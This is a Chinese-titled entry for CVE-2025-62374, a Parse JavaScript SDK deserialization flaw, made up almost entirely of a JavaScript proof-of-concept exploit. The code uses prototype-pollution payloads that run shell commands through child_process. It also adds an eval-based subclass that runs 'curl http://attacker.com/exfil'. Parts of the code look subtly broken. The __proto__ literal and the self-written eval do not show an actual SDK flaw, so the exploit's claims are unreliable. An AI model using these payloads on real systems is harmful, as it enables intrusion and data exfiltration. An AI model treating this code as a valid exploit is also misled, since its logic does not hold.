CVE-2025-62374：Parse JavaScript SDK反序列化远程代码执行漏洞

// CVE-2025-62374 - Parse JavaScript SDK Deserialization RCE PoC // Affected: ParseObject.fromJSON, ParseObject.pin, ParseObject.registerSubclass // Fixed in: 7.0.0 const Parse = require('parse/node'); // Step 1: Craft malicious JSON payload exploiting prototype pollution const maliciousPayload = { className: "MaliciousClass", __proto__: { // Pollute Object prototype with malicious property polluted: true, // Inject code execution via constructor shell: "process.mainModule.require('child_process').execSync('id > /tmp/pwned')" }, attributes: { // Attempt to trigger code execution during deserialization __type: "Pointer", className: "_User", objectId: "malicious_id" } }; // Step 2: Exploit ParseObject.fromJSON vulnerability try { const obj = Parse.Object.fromJSON(maliciousPayload); console.log("Object created:", obj); // Step 3: Trigger via pin method obj.pin().then(() => { console.log("Pin operation completed - check for code execution"); }).catch(err => { console.log("Error:", err.message); }); } catch (e) { console.log("Exploit attempt:", e.message); } // Alternative: Exploit via registerSubclass const MaliciousClass = Parse.Object.extend("MaliciousClass", { // Override methods to execute malicious code during instantiation initialize: function(attrs, options) { // Trigger code execution when object is created from JSON if (attrs && attrs.__exec) { eval(attrs.__exec); } } }, { // Class-level exploit }); Parse.Object.registerSubclass('MaliciousClass', MaliciousClass); // Trigger deserialization with crafted data const exploitData = JSON.stringify({ __type: "Object", className: "MaliciousClass", __exec: "require('child_process').execSync('curl http://attacker.com/exfil')" }); Parse.Object.fromJSON(JSON.parse(exploitData));